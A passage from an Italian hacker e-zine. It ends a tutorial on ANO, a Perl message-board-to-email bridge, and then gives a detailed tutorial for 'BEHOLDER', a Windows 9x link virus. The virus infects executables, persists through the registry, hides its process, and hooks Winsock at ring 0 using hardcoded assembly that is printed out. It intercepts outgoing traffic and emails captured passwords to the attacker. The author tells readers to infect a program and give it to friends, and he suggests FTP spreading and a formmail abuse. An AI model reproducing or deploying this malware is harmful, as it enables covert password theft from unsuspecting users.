To:, =0 se msg nuovo | | ---------------+----------------------------+----------------------------+ P | | "Yes" se e' una reply | | | "No" se il msg e' nuovo | ---------------+----------------------------+----------------------------+ AdNo | | Impostato sempre a 0 | ---------------+----------------------------+----------------------------+ Subject | Campo Subject: | | ---------------+----------------------------+----------------------------+ name | Campo From: | | ---------------+----------------------------+----------------------------+ email_addr | Campo From: | | ---------------+----------------------------+----------------------------+ Msg | DATA | | ---------------+----------------------------+----------------------------+ acct | Campo To: | | ---------------+----------------------------+----------------------------+ TL | Campo To:, =0 se msg nuovo | | I comandi riconosciuti dal server SMTP di ANO sono i seguenti: COMANDO | RISPOSTA DEL SERVER | AZIONE EFFETTUATA -----------+--------------------------+------------------------------------- HELO | 250 Hello... | Nessuna: il server si limita a | | rispondere con un saluto al client. -----------+--------------------------+------------------------------------- MAIL FROM | 250 ... Sender ok | Il server da' sempre l'ok e salva | | nome e indirizzo del mittente. -----------+--------------------------+------------------------------------- NOOP | 200 OK | Nessuna. -----------+--------------------------+------------------------------------- RSET | 250 Reset State | Nessuna. -----------+--------------------------+------------------------------------- QUIT | 221 closing | Il server chiude la connessione. | connection | -----------+--------------------------+------------------------------------- RCPT TO: | 250 ... Recipient ok | Il server da' sempre l'ok e salva | | l'ID del messaggio a cui rispondete, | | l'ID del thread e il numero della | | messageboard. -----------+--------------------------+------------------------------------- DATA | 354 Enter mail, end with | Il server si mette in attesa della | a "." on a line by | mail, effettua un parsing per | itself | individuare i campi From:, To: e | | Subject: e li salva in variabili | | separate. Una volta riconosciuti tutti i dati di cui ha bisogno, ANO effettua il POST alla CGI con il comando $response=$ua->request(POST $postaddr, [function => "write", MyNum => $msgnumber, P => $pi, AdNo => "0", Subject => $subject, name => $fromname, email_addr=>$fromadr, Msg => $data, acct => $boardnum, TL => $msgtopic]); Se il comando va a buon fine il server risponde con un "250 Mail accepted", altrimenti esso invia al client il messaggio "500 cannot send data". Il vantaggio di questo comando e' che si occupa lui di convertire automaticamente tutti i parametri inviati nel formato correto, tuttavia il mio interprete Perl non converte i punto e virgola... fate quidni alcune prove per conto vostro, prima di mandare faccine che fanno l'occhiolino! ;) ***********ano.cfg****************[ANO.CFG]***************ano.cfg************* La versione attuale di ANO si appoggia a un file di configurazione, usato per semplificare la vita a chi desidera collegarsi a piu' messageboard: grazie ad esso e' possibile salvare in un solo file tutti i dati che variano da una messageboard all'altra, evitando in questo modo di doversi creare dei sorgenti perl personalizzati. I parametri che vengono salvati all'interno del file di configurazione sono sei: 1) L'indirizzo principale a cui collegarsi per scaricare i messaggi. 2) L'indirizzo base a cui i link devono conformarsi per essere considerati collegamenti validi a messaggi. 3) Il nome della messageboard. 4) Il nome base dei file all'interno dei quali verranno salvati i messaggi. 5) L'elenco dei trigger utilizzati per parsare i file html e creare da essi i messaggi da salvare su disco. 6) Il nome del file all'interno del quale vengono salvati i link gia' visitati. A ogni messageboard corrisponde un profilo, dichiarato all'inizio del file con il comando profile=. Una volta scelto un particolare profilo, i parametri ad esso relativi si chiamano: -main -mask -post -datafname -triggers-begin -triggers-end -dloaded Solo un profilo che comprende tutti questi parametri viene considerato valido dal programma che recupera i file html, mentre per il server pop3 e' sufficiente avere il nome dei file messaggio. Una soluzione di questo genere permette alcuni piccoli trucchi, come ad esempio il seguente: - mettete a tutti i profili lo stesso "datafname", in modo da salvare tutti i messaggi in file con lo stesso nome (ad esempio ano.txt) - create un profilo che abbia SOLO il parametro "datafname", ad esempio profile=malattia ... malattia-datafname=ano.txt - configurate il vostro client di posta elettronica per collegarsi al vostro server con la login uguale al nome di profilo che avete appena creato (in questo caso "malattia"): in questo modo potrete scaricare tutti i messaggi in una volta sola, dividendoli eventualmente in diversi folder a seconda del valore dell'header "X-Profilename:" ... et voila'! :) ********************************[CONCLUSIONI]********************************* Ecco, questo e' tutto ragazzi! Spero di non avervi tediato troppo con un tutorial che speravo io stesso fosse decisamente piu' corto :) Allegati al tutorial trovate i sorgenti dell'ultima versione di ANO, cioe' la 0.99beta che trovate anche in formato eseguibile sul web, con alcune piccole correzioni (tipo il baco degli header di cui mi sono accorto solo scrivendo il tute). I file dovrebbero chiamarsi ano.cfg 4176 bytes ano-html.pl 6611 bytes ano-pop3.pl 7630 bytes ano-smtp.pl 5525 bytes Il progetto ANO e' ancora in piena evoluzione, se volete collaborare con un po' di betatesting o anche solo con qualche nuova idea siete bene accetti. Potete controllare la pagina di ANO all'indirizzo: http://malattia.cjb.net/ano.htm oppure mandarmi una mail all'indirizzo malattia@gmx.net. Questo, naturalmente, non significa che voi non potete mettervi a lavorare in modo indipendente sui miei sorgenti per creare qualcosa di nuovo, bello e possibilmente funzionante... l'unica condizione che vi chiedo di rispettare e' quella di farmi sapere che combinate, giusto per potermi autostimare un po' :) Se un progettino del genere non ha suscitato in voi nessuna nuova idea, lasciate che ve ne suggerisca qualcuna io: - un equivalente di ANO server-side, con utenti registrati a varie board che possono collegarsi ogni tot per scaricare tutti gli ultimi messaggi in una volta sola - un convertitore piu' o meno universale di mailbox: basta usare programmi proprietari, con un pop3 e un smtp si puo' fare qualcosa di piu' generale! - emulazione news, anziche' pop3: la consultazione dei messaggi di un forum in modo un po' diverso :) - teleporting di siti e consultazione tramite il client di posta elettronica (beh, forse questo e' meglio lasciarlo perdere... pero' si puo' fare, date un'occhiata alle caratteristiche dei messaggi HTML!) - creazione di digest html contenenti tutti gli ultimi messaggi di un forum - POST a formmail, ovvero come sfruttare un simpatico bug e i sorgenti di ANO per inviare messaggi piu' o meno anonimi dal proprio client di posta elettronica (questo e' facile, pero'... non vantatevi se ci riuscite ;) ***********************************[OUTRO]************************************ Le persone che mi hanno aiutato durante la creazione di ANO sono molte, da chi ha fatto da cavia col proprio client di posta elettronica a chi mi ha dato suggerimenti sulle funzioni da includere o sulle correzioni da fare. In particolare, un GRANDE ringraziamento va a: - \sPIRIT\ e il suo SMS di incoraggiamento - Little John, che ha seguito ogni passo della creazione di ANO, dalla scelta del nome alle ultime prove - Gli alfa e betatester che mi hanno mandato almeno un messaggio di feedback (e chi ha orecchie per intendere intenda :) - 0phelia, perche' esiste :* *******************************[COPYRIGHT &Co.]******************************* Questo tutorial e' MIO, e sfido chiunque a dimostrare il contrario. Chi lo spaccia per suo e' un fetentone e pure un po' sfigato, perche' almeno poteva spacciare per suo un tutorial un po' piu' bello. ANO e' MIO. Questo significa che anche se voi ne avete i sorgenti, il tutorial, l'eseguibile e qualsiasi altra cosa che sia ad esso collegata, esso rimane sempre solo MIO. Il cervello malato da cui e' uscita l'idea di fare una cosa del genere e' il mio, ne sono fiero e questo non me lo potrete togliere neanche se vi tatuerete la scritta ANO sul sedere. Potete anche cancellare tutto quello che riguarda ANO dal vostro computer e scrivere da capo di vostra mano un'applicazione che faccia le stesse cose che fa ANO, e magari anche qualcosa di piu', pero' resta il fatto che voi la starete scrivendo perche' avete letto questo tutorial, o avete visto i sorgenti di ANO, o vattelapesca, resta il fatto che questa simpatica creaturina restera' sempre e solo mia. Fate quello che vi pare di ANO (del vostro, al mio ci penso io :) ma non permettetevi neanche di pensare a farci sopra dei soldi: se deciderete di trasformarlo in un servizio a pagamento ne faro' uno gratuito migliore, se deciderete di farne un programma commerciale ne faro' uno gratuito MOLTO migliore. ============================================================================== --------------------------------[ EOF 20/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-21100755 0 0 72770 7102660046 10756 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 21 di 28 ]------------- ============================================================================== -[ ViRii ]-------------------------------------------------------------------- ---[ BEH0LDER 1.03 -----[ NaGA ________________________ / BEHOLDER 1.03 __________________________/ Autore : NaGA Cosa fa : Wide Net Sniffer per session passwords in Windows 9x Cosa non fa : Non puo' essere usato come patch per Quake Software : Masm32, Visual C++ 5, SoftIce, copy del DOS -INTRO La vita del programmatore e' abbastanza monotona: sempre il solito SQL, il solito VisualBasic, le solite tabelle... -L'INIZIO Quando a 10 anni comprai il mio primo computer dissi a mia madre che l'avrei usato per studiare. Poi nella mia vita arrivo il CIH che, oltre ad arrecare danni fisici al mio comp per un totale di 500K lire, penso' bene di troncare ogni mia velleita' artistica cancellando TUTTI i sorgenti contenuti nel mio harddisk. Da quel giorno smisi di prendere per il culo RancoR per il fatto che faceva un backup al mese. Da quel giorno decisi che era venuto il momento di passare al lato oscuro (e di cominciare a fare i backup). L'idea del beholder mi venne in mente dopo aver visto i sorgenti del CIH (con relativo Tut di non mi ricordo chi) e il codice del NetRaider scritto da \sPIRIT\. All'inizio era un idea confusa, poi tutto divenne piu' chiaro... -LE FORMALITA' Come al solito non mi assumo nessuna responsabilita' per l'uso che voi farete del programma. Se vi si fonde il computer, se l'FBI arriva a casa vostra, se la vostra ragazza vi lascia perche' vi masturbate davanti a codice asm, io non ne ho nessuna colpa (anzi mi provocherebbe un sadico piacere :) ). -COME FUNZIONA Cominciamo col dire che non so con certezza se il prog funziona o no. Come ogni tesi scientifica puo' essere smentita, ma mai dimostrata con certezza, cosi' anche questo programma e' stato testato con successo. Ma dire che il prog funziona sempre e comunque e' tutto un altro paio di maniche. NON SONO PARENTE DI BILL GATES QUINDI NON SO SE MAMMA MICROSOFT HA CAGATO DELLE VERSIONI DI WINSOCK DIVERSE CON CUI IL CODICE NON FUNZIONA. Cambiamo allora il titolo del paragrafo... -COME DOVREBBE FUNZIONARE In breve il beholder e' un link virus. Quando si manda in esecuzione il prog a cui e' attaccato, il beholder si installa nella directory di windows sotto falso nome, maschera la sua presenza, inserisce una chiave nel registro in modo da essere lanciato ad ogni avvio, scende a Ring0 e fa un hook delle winsock. Quando un nuovo processo fa una 'connect', il beholder reindirizza la socket su se stesso e poi apre una sua socket col vero destinatario. In questo modo ogni successiva 'send' del processo sfortunato arrivera' al beholder. Il beholder spedisce il pacchetto anche al destinatario reale, poi ne esamina il contenuto. Se si tratta di una stringa (una potenziale password) la maila ad un nostro account nella forma: -> XX-YY-ZZ-TT-HH-LL-dati dove: XX, YY, ZZ, TT: sono i quattro campi dell'indirizzo di destinazione, in notazione puntata, scritti in esadecimale; HH e LL : sono la parte alta e la parte bassa della word contente la porta di destinazione (sempre in esadecimale); dati : e' la stringa spedita. Ad esempio una stringa 'ciao' spedita a 127.0.0.1 sulla porta 25 comparira' nella forma: 7F-00-00-01-00-19-ciao Questo e' tutto. -COME SI USA Trovate un prog che possa interessare a qualcuno. Lanciate il vostro bel programmino Bh.exe . Riempite i campi con 1) Il nome del file che volete infettare, cioe' il prog interessante (deve essere un PE) 2) Il nome che avra' il file una volta infettato 3) Un vostro account di posta elettronica 4) L'indirizzo (numerico o simbolico) del vostro mailer preferito NB: se non avete un mailer che fa Relaying da ogni mittente usate il mailer relativo al vostro indirizzo di posta elettronica, che molto meglio... Schiacciate il tasto Ok. Passate il file infettato ad un vostro amico o uploadatelo da qualche parte. Controllate periodicamente il vostro account di posta elettronica. Divertitevi. -PARLIAMO DI CODICE (Ring0 e HardCode) La parte di codice relativa all'interfaccia utente, al linking del codice virale e alla creazione del dropper e' scritta interamente in Visual C++. Come funziona un dropper probabilmente lo saprete gia'. Se non lo sapete, sicuramente troverete qualcuno capace di spiegarvelo meglio di me, quindi non indugiamo oltre su questo argomento. Vi basti sapere che una volta lanciato il file infettato, questo creera', dal codice virale (decriptandolo con chiave random e decomprimendolo), un nuovo file chiamato check_dll32.exe nella directory di windows e lo lancera'. Questo nuovo processo e' il nostro beholder. N.B.: L'eseguibile bh.exe ha provveduto ad inserire (al momento dell'infezione) nella parte dati del programma check_dll32.exe, l'account di posta ed il nome del mailer al posto dei tag '884CACCA' e '885CACCA' (cioe' le vars stealthEMail e Mailer). Per capire meglio di cosa parlero', vi consiglio di leggere il tutorial insieme al codice allegato (che non riportero' qui data la sua lunghezza). Per prima cosa il programma verifica quale versione delle Winsock si sta usando (1 o 2) con GetModuleHandle e GetProcAddress. Infatti la Microsoft, per le WS2, ha creato dei bei wrapper delle funzioni originali, ma gli ha mappati in delle zone di memoria diverse. Sapendo quindi l'indirizzo di 'connect' potremo risalire alla versione in uso (e' molto piu' sbrigativo e sicuro che parsare la stringa della ver.). C'e' pero' un piccolo problema. Per le WS2 esistono un sacco di versioni diverse di WSock32.dll . Il loro codice e' pressocche' identico, ma vengono allocate in zone di memoria diverse. Per mantenere la compatibilita' l'Hardcode viene rilocato in base all'indirizzo di inizio di connect (in pratica vengono cambiati tutti i salti nell'Hardcode). Come avrete notato, nel codice ci sono delle parti Hardcodate. Il secondo passo sara' quindi andare a modificare nell'hardcode i numeri di porta in relazione al layer di comunicazione (little endian o big endian). Per gli indirizzi non c'e' bisogno poiche' si svolge tutto in locale. Tutto questo e' fatto con la funzione htons. Ora si tratta di scendere a Ring0. Crea quindi un CallGate utilizzando il segmento 0x28 con i diritti di ringzero e con l'indirizzo della nostra procedura Ring0Proc. Poi inserisce il nostro CallGate nella LocalDescriptorTable al primo posto e lo richiama (per ulteriori chiarimenti guardatevi il codice o il relativo Tut nell'Asj1; lo trovate fra i tut di Ringzer0). Ora siamo nella procedura Ring0Proc e SIAMO a ring0!!! Ring0Proc copia il contenuto dell'hardcode nello spazio di indirizzamento delle API di windows. Dato che Windows si crede furbo e non ricarica i moduli gia' in memoria, tutti i processi che sono gia' stati lanciati e tutti quelli che verranno lanciati in seguito utilizzeranno la nostra versione 'ritoccata' delle winsock. Questo finche' rimarra' almeno un processo che utilizza le winsock. Infatti, quando tutti i processi che le utilizzano vengono chiusi, le winsock (come tutti gli altri moduli) vengono scaricate dalla memoria, per poi essere ricaricate da disco quando qualcun altro ne richiedera' l'utilizzo. Non vi preoccupate, comunque, il nostro beholder continuera' a girare fino allo spegnimento della macchina!!! Per eseguire le parti di codice aggiunto, i primi e gli ultimi 5 byte di connect vengono riscritti con dei salti al codice. N.B.: Per le winsock1 il codice viene aggiunto in coda al modulo stesso, per le WS2 viene aggiunto alla fine di WS2_32 (perche' in coda a WSock32 non c'e' abbastanza spazio) N.B.: Le destinazioni di tutti i salti sono ovviamente cannate. Per poter vedere esattamente il codice vi consiglio di usare SoftIce. Lanciate il beholder e poi fate un bel 'u connect' e 'u 78A6A6D1h' per le WS2 o 'u 7c3ec130h' per WS1 (che sono gli indirizzi dove il codice si piazza). Vediamo ora cosa contiene l'HardCode... -Hard code per WinSock1 ; Poiche' per inserire dei salti cancelliamo 5 byte di connect ; li ricopiamo all'inizio della nostra procedura 83EC1C sub esp,01C 56 push esi 57 push edi ; Il beholder deve poter utilizzare la versione originale di connect. ; Per farlo mette la signature 883CACCA in ebx ; Se la signature viene rilevata salta tutto il codice aggiunto 81FBCAAC3C88 cmp ebx,0883CACCA 0F84C456FFFF je 0FFFF6AE3 ; Legge dallo stack i parametri di connect che ci interessano ; struttura sockaddr in eax e socket handle in edi 8B44242C mov eax,[esp][0002C] 8B7C2428 mov edi,[esp][00028] ; Si crea uno stack locale in modo da poter conservare i suoi ; dati fino alla fine della procedura 81EC14020000 sub esp,000000214 ; Ricava dalla struttura sockaddr passata a connect ; l'indirizzo di destinazione in edx e la porta in cx 8B5004 mov edx,[eax][00004] 668B4802 mov cx,[eax][00002] 52 push edx 6651 push cx ; Redireziona sul beholder la connessione B97F000001 mov ecx,00100007F BA06660000 mov edx,000006606 ; Questo viene ; cambiato da htons ; (pusha signature del pacchetto di inizio connessione) 52 push edx 90 nop 894804 mov [eax][00004],ecx 66895002 mov [eax][00002],dx 33D2 xor edx,edx ; Infiliamo nello stack gli altri parametri utili per la send di ; inizio connessione (ne parleremo dopo) ; flags 52 push edx BA0A000000 mov edx,00000000A 52 push edx ; dati 8D542408 lea edx,[esp][00008] 52 push edx ; handle della socket 57 push edi ; Ripristina lo stack e ritorna a connect 81C42E020000 add esp,00000022E E97F56FFFF jmp 0FFFF6AE3 ; Qui siamo gia' alla fine di connect ; verifica la signature 81FBCAAC3C88 cmp ebx,0883CACCA 7411 je .00040307D ; ritorna allo stack del beholder 81EC2E020000 sub esp,00000022E ; chiama 'send' per inviare il pacchetto di inizio connessione E83DE0FFFF call .0004010B4 81C41E020000 add esp,00000021E ; Ricopia gli utlimi 5 byte di connect cancellati dal salto per l'hook 5F pop edi 5E pop esi 83C41C add esp,01C ; Azzera il valore di ritorno ed esce 33C0 xor eax,eax 90 nop 90 nop C20C00 retn 0000C E92BA90000 ; questi sono i jmp che sono messi all'inizio E999A80000 ; e alla fine di connect per l'hook -Hard code per WinSock2 ; Tralascio i commenti poiche' e' MOLTO simile al precedente 81FBCAAC3C88 cmp ebx,0883CACCA 7448 je .0004030E7 8B442408 mov eax,[esp][00008] 8B4C2404 mov ecx,[esp][00004] 81EC14080000 sub esp,000000814 57 push edi 8BF9 mov edi,ecx 90 nop 8B5004 mov edx,[eax][00004] 668B4802 mov cx,[eax][00002] 52 push edx 6651 push cx B97F000001 mov ecx,00100007F BA06660000 mov edx,000006606 52 push edx 90 nop 894804 mov [eax][00004],ecx 66895002 mov [eax][00002],dx 33D2 xor edx,edx 52 push edx BA0A000000 mov edx,00000000A 52 push edx 8D542408 lea edx,[esp][00008] 52 push edx 57 push edi 8B7C241A mov edi,[esp][0001A] 81C432080000 add esp,000000832 A1A861007A mov eax,[07A0061A8] E93C6D5901 jmp 00159822D 90 nop 90 nop 90 nop 3DFFFFFFFF cmp eax,0FFFFFFFF 7420 je .00040311B 90 nop FFD0 call eax 81FBCAAC3C88 cmp ebx,0883CACCA 90 nop 90 nop 7413 je .00040311B 81EC32080000 sub esp,000000832 E8EB6F5901 call 0015984FE 33C0 xor eax,eax 81C422080000 add esp,000000822 C20C00 retn 0000C E96A92A6FE jmp 0FEA6A78D E99392A6FE jmp 0FEA6A7BB N.B.: I nop ci sono per future espansioni del codice (e perche' non mi andava di ricalcolarmi gli offset per i salti). A questo punto credo che abbiate un gran mal di testa, quindi cerchero' di tradurre il tutto in qualcosa di comprensibile... La 'connect' truccata in realta' non fa altro che saltare al nostro codice aggiunto dove vengono cambiati i parametri della funzione (struct sockaddr) inserendo indirizzo e porta del beholder. Poi prepara nello stack i parametri da passare alla send che viene effettuata alla fine di 'connect' (tramite un altro salto al nostro codice). Questa send serve per mandare al beholder un pacchetto di inizio connessione targato 666 (viva l'originalita') in cui ci sono porta e indirizzo del destinatario reale. In questo modo quando il beholder riceve una conessione riceve anche fin da subito un pacchetto in cui c'e' il reale destinatario. E tutto questo e' fatto dalla connect stessa!!! Il beholder pero' doveva poter utilizzare la versione non ritoccata della connect... semplice, basta inserire 0x883CACCA in ebx e la connect salta il codice aggiunto. Mi sono accorto che questo paragrafo sta diventando troppo lungo quindi... -TORNIAMO SULLA TERRA (Camuffamento) Ora abbiamo hookato l'API connect e tutto il traffico in uscita arrivera' al nostro beholder. Adesso si tratta di far sparire il nostro processo. Questa parte e' pesantemente ispirata a NetRaider, quindi thanx \sPIRIT\ :) Utilizziamo innanzitutto l'API (mal) documentata RegisterServiceProcess che, se non usata sotto NT, fa sparire il nostro processo dalla lista dei task che si ottiene con CTRL+ALT+CANC. Per richiamarla dovremo di nuovo usare GetModuleHandle (di kernel32) e GetProcAddress. A questo punto dobbiamo inserire una chiave nel registro in 'Software\Microsoft\Windows\CurrentVersion\Run' per far lanciare il beholder ad ogni avvio. Chiamiamo questa key 'SystemCheck'. Se la chiave non esiste vuol dire che e' la prima volta che eseguiamo il programma, quindi dovremo fare un paio di cose in piu'. Utilizziamo la funzione GetWindowsDirectory per completare i path dei file che si trovano nella directory di Windows. Adesso apriamo il file notepad, ne leggiamo la data e settiamo con questa la data del file chek_dll32.exe che, a questo punto, avra' un aspetto piu' da file 'di sistema'. Dopo aver fatto questo richiudiamo i due file e creiamo effettivamente la chiave SystemCheck con, ovviamente, il valore "PATH\check_dll32.exe". Se invece la chiave esisteva gia', tutta questa parte di codice viene saltata. E' arrivato il momento di... -LA PARTE PIU' INUTILE (Main) Dopo aver aperto una finestra (rigorosamente invisibile) indispensabile per la gestione dei messaggi, inizializiamo l'uso delle Winsock con WSASturtup. Creiamo adesso una socket 'principale' che mettiamo in ascolto sulla porta 0x666 (sempre piu' originale) tramite le solite bind e listen. Prima pero' settiamo la socket in modalita' asincrona in modo tale che ci ritorni un messaggio WM_LISTSOCKET ad ogni tentativo di connessione. Dopo aver fatto questo dobbiamo fare una piccola modifica all'account e-mail che il dropper ha provveduto a scrivere al posto del tag '884CACCA'. Aggiungiamo l'"a capo" alla fine della stealthEMail. Poi c'e' il ciclo di ricezione messaggi. Troppo facile? Avremo subito il modo di rifarci con... -EHI, CE L'HAI CON ME AMICO? (Gestione messaggi) Leggiamo innanzitutto il codice del messaggio. Se e' WM_LISTSOCKET vuol dire che viene dalla socket 'primaria' in ascolto sulla porta 666, quindi si tratta di una nuova connessione. Il controllo che si tratti di un messaggio di tipo FD_ACCEPT e' una pura formalita' (o quasi). A questo punto e' doveroso parlare di questa fantomatica tabella delle connessioni (ConnBuff). Questa tabella serve per sapere dove dobbiamo buttare fuori quello che ci arriva dalle socket in entrata La tabella e' cosi' formata: ____________________________ | hsl1 | hsr1 | add1 | port1 | Ogni entry e' di 16byte, 4 per elemento | hsl2 | hsr2 | add2 | port2 | (la porta in realta' ne occupa solo 2, | ecc. | ecc. | ecc. | ecc. | seguiti da 2 zeri) ---------------------------- Ogni entry rappresenta una connessione dove hsl1 e' l'handle della socket relativa alla parte locale della connessione, hsr1 e' l'handle della socket relativo alla parte in remoto della connessione e add1 e port1 sono indirizzo e porta dell'host remoto. Ad esempio, se ci arriva qualcosa su hsl1 noi dobbiamo spedirla su hsr1 e viceversa. Se il primo campo di una entry e' 0 vuol dire che la entry e' libera. Cerchiamo quindi una entry libera nella tabella. Avremo in esi il suo puntatore. Una volta fatta l'accept riempiamo il primo campo della tabella con l'handle che ci ritorna. Vedremo come riempire gli altri campi in seguito. All'interno del ciclo pero' avevamo incrementato anche ebx a partire da WM_LISTSOCKET in poi, di 2 in 2. A cosa sara' servito mai? Semplice. Adesso dobbiamo mettere la socket appena creata in modalita' asincrona e le faremo ritornare un numero di messaggio via via crescente, in maniera da sapere sempre da dove ci arrivano i dati. Mi spiego meglio: ogni volta che verra' fatta una scrittura o una chisura su queste socket ci verra' segnalata con un messaggio; un messaggio WM_LISTSOCKET+1 vuol dire che e' la notifica di un evento proveniente da hsl1, WM_LISTSOCKET+2 da hsr1, WM_LISTOCKET+3 da hsl2 e cosi' via. Ma torniamo a noi. Se invece di WM_LISTSOCKET il messaggio ricevuto e' nel range WM_LISTSOCKET+1 - WM_LISTSOCKET+200, vuol dire che ci arriva da una socket 'secondaria' (una di quelle della tabella). Dal numero di messaggio possiamo risalire alla coppia di socket (locale-remota) in qustione semplicemente sottraendo WM_LISTSOCKET+1 e shiftando tutto a destra di un bit. Altrettanto semplicemente possiamo sapere se si tratta di dati in entrata o in uscita esaminando l'ultimo bit del messaggio (il codice mi sembra gia' chiaro di per se'). A questo punto se il messaggio e' di tipo FD_READ (dati in arrivo) il compito di gestirlo e' lasciato alla funzione Incoming a cui passiamo il numero di entry nella tabella delle connessioni e un flag che indica se i dati arrivano dalla parte locale della connessione (hsl) o dalla parte remota (hsr). Se invece il messaggio e' di tipo FD_CLOSE (qualcuno ha chiuso la connessione) usiamo ClosePair per chiudere sia hsl che hsr relativi e azzerare le corrispondenti entries della tabella. Inoltre ogni volta che c'e' un messaggio FD_CLOSE viene invocata la funzione EndMail. Questa funzione verifica che la connessione col mailer fosse stata instaurata e che gli fosse gia' stato spedito qualcosa (cMail). In caso affermativo manda il carattere di fine mail '.' al mailer e chiude la connessione. Ovviamente, subito dopo, la connessione viene riaperta con GoMail e viene iniziato il protocollo per una nuova mail. Questo perche' il mailer non accetta la mail se non termina con il punto. Qualche 'punto' bisognava pur mandarlo ogni tanto, non potevamo rischiare che la macchina venisse spenta prima di aver concluso almeno una mail. Il beholder spedisce punti ad ogni FD_CLOSE. Ma passiamo subito a... -IO L'HO AVUTO GRATIS CON LA VOODOO2 (Incoming) Innanzitutto estraiamo da ConBuff (la tabella delle connessioni) l'handle della socket da cui ci arrivano i dati (spero non vi spaventerete a interpretare un paio di shift!). Poi usiamo ioctlsocket per avere in 'availableData' il numero di bytes pendenti sulla socket. Adesso allochiamo un bel buffer della dimensione giusta e lo lockiamo. A questo punto c'e' un problemino. Vi ricordate del pacchetto di inizio connessione? Bene, e' probabile che un'aplicazione come IExplorer subito dopo aver fatto 'connect' (ed aver mandato quindi il pacchetto di inizio) mandi anche qualche altra cosa. Quindi adesso possiamo avere sulla socket piu' di un pacchetto accodato. Questo problema sorge solo col pacchetto di inizio connessione, poiche' per gli altri dati non e' indispensabile mantenere i confini di messaggio e possiamo leggere e spedire tutto in una botta. Per risolvere il problema utilizziamo fuffOffsetBuffer per muoverci all'interno del buffer allocato. Verifichiamo innanzitutto se i dati arrivano da locale o da remoto. (da locale) Confrontiamo ora i primi byte del pacchetto con il clientID (666) per vedere se si tratta del pacchetto di inizio connessione. Se e' il primo, leggiamo la porta e l'indirizzo di destinazione (originali) e riempiamo i campi mancanti della tabella delle connessioni (hsr, add, port). Dopodicche' apriamo una socket verso il destinatario originale. A questo punto la catena e' chiusa!!!. Ogni dato che ci arrivera' potra' essere smistato nella giusta direzione in maniera trasparente all'applicazione. Per fare 'connect' dobbiamo inserire in ebx la signature '0x883CACCA' per aggirare il codice aggiunto all'API. Per vedere se si e' verificato un errore (ad esempio l'host non esiste) utiliziamo WSASetLastError e WSAGetLastError. Nelle due versioni di 'connect' i valori di ritorno sono diversi (W la documentazione Microsoft!); per avere uniformita', l'API ritoccata azzera il valore di ritorno. Avremo quindi bisogno di GetLastError per vedere se la connessione e' andata a buon fine (forse e' la mia versione bacata di 95, ma la funzione ritorna dei valori pseudocasuali). Gli altri processi che chiameranno la connect truccata riceveranno cosi' sempre 0, in conformita' alle specifiche in caso di connessione avvenuta, poiche' la loro connect avra' sempre successo (infatti, in realta' si connettono in locale). Se si e' verificato un errore chiudiamo la socket in entrata, azzeriamo la tabella e ritorniamo. A questo punto settiamo la socket in modalita' asincrona e le assegnamo un numero di messaggio proprio come abbiamo fatto prima per la socket in entrata. Ora dobbiamo verificare se in coda al pacchetto di inizio connessione c'e' qualcos'altro. Per farlo sottriamo al valore availableData la dimensione del pacchetto di inizio. Se il risultato e' maggiore di 0 dobbiamo continuare a leggere. La parte di codice seguente viene eseguita anche se il pacchetto che ci e' arrivato non e' quello di inizio connessione (anche in questo caso, infatti, availableData avra' un valore maggiore di 0). Estraiamo dalla tabella l'handle della socket su cui li dobbiamo sbattere fuori (sara' quello immediatamente successivo all'handle di ingresso). Dopo averli sbattuti fuori controlliamo se si e' verificato un errore. In caso affermativo resettiamo entrambe le connessioni. A questo punto controlliamo il contenuto del pacchetto con la funzione PacketTest. Questa funzione richiama StrLen che calcola quanti caratteri di testo ci sono nel pacchetto. Se questo numero corrisponde alla lunghezza del messaggio (a meno di 1 per le stringhe NULL-terminated) vuol dire che dalle nostre porte e' uscita una stringa. In questo caso ripristiniamo la connessione col mailer (se questa non c'e') e spediamo il messaggio. Questo viene fatto per mezzo della funzione GoMail che tenta di stabilire una connessione col mailer (dopo averne risolto il nome) e di iniziare il protocollo. Un breve ripasso di SMTP: 1) helo 'nome server' 2) mail from: 'dummy' 2) rcpt to: 'destinatario' 3) data ...Dati... 4) . <-- Per la chiusura Per verificare se la connessione e' stata stabilita o meno viene settata la variabile isMailer. Ogni volta che vorremo mailare qualcosa, se questa variabile e' a NULL, dovremo richiamare GoMail. Prima del testo viene spedita una stringa contenente l'indirizzo e la porta a cui erano destinati i dati in origine. Questa stringa ha il formato che ho descritto nell'introduzione (COME DOVREBBE FUNZIONARE). I campi della stringa (indirizzo-porta) sono contenuti nella tabella delle connessioni, nella entry relativa alla coppia di socket in questione. La conversione in ASCII viene effettuata dalla funzione HexConv. (da remoto) Estraiamo dalla tabella la socket su cui dobbiamo sbattere i dati. Questa volta si trattera' di una socket locale, quindi, se siete stati attenti, avrete gia' intuito che il suo handle si trova esattamente prima di quello da cui ci sono arrivati i dati. Una volta smistati i dati deallochiamo il buffer. Bene, abbiamo finito, manca solo... -IL DUBBIO AMLETICO A questo punto vi chiederete dove ho usato il copy del DOS. Semplice, il codice virale assemblato e' stato accodato al codice del 'dropper-maker' con una bella 'copy /B Bh.exe + beholder.exe Bh.exe' dove 'Bh' era il dropper-maker e 'beholder' il nostro assemblato. Poi ci pensa lui (al momento del linking) a comprimerlo e a criptarlo a chiave random. -UNO SGUARDO AL FUTURO (Possibili sviluppi) Beh (older, ah, ah, sono proprio simpatico), cominciamo col dire che ci sarebbe bisogno di un programmino per parsare le mail e dividere il traffico a seconda della destinazione, in modo da avere un output piu' leggibile. Il codice virale e' compresso e criptato a chiave random (per ora e' poco piu' di un xor), ma il tutto puo' essere migliorato. Il prog potrebbe anche contenere una lista di nomi di file e di chiavi per potersi installare in maniera casuale. Potrebbe anche cambiare ad ogni installazione la porta su cui si mette in ascolto. Insomma il camuffamento potrebbe essere migliorato. Poi, per potersi fregiare del titolo di linkvirus, il beholder dovrebbe potersi duplicare anche su altri file, magari intercettando le sessioni FTP e linkandosi ai file in uscita (magari anche dentro agli zip); non sarebbe, infatti, un granche' utile se si linkasse a file che non usciranno mai dal comp dello sfortunato (ah, ti passo un nuovo editor potentissimo, si chiama Notepad). Si potrebbe cambiare PacketTest per intercettare anche altri tipi di dato (cookies, query, ecc.). Si potrebbero inserire una serie di indirizzi di siti porno da inserire casualmente al posto dei parametri di connect (immaginate il vostro amico che si connette felice al sito della Microsoft e si ritrova invece in www.pompini.com) Potrebbe addirittura essere trasformato in un cripter trasparente alle applicazioni. Insomma e' molto versatile, anche troppo (infatti sotto NT non funziona). -OUTRO Scrivere questo tutorial e' stato molto meno divertente che scrivere il codice, ma almeno questo non l'ho dovuto debuggare. Non so 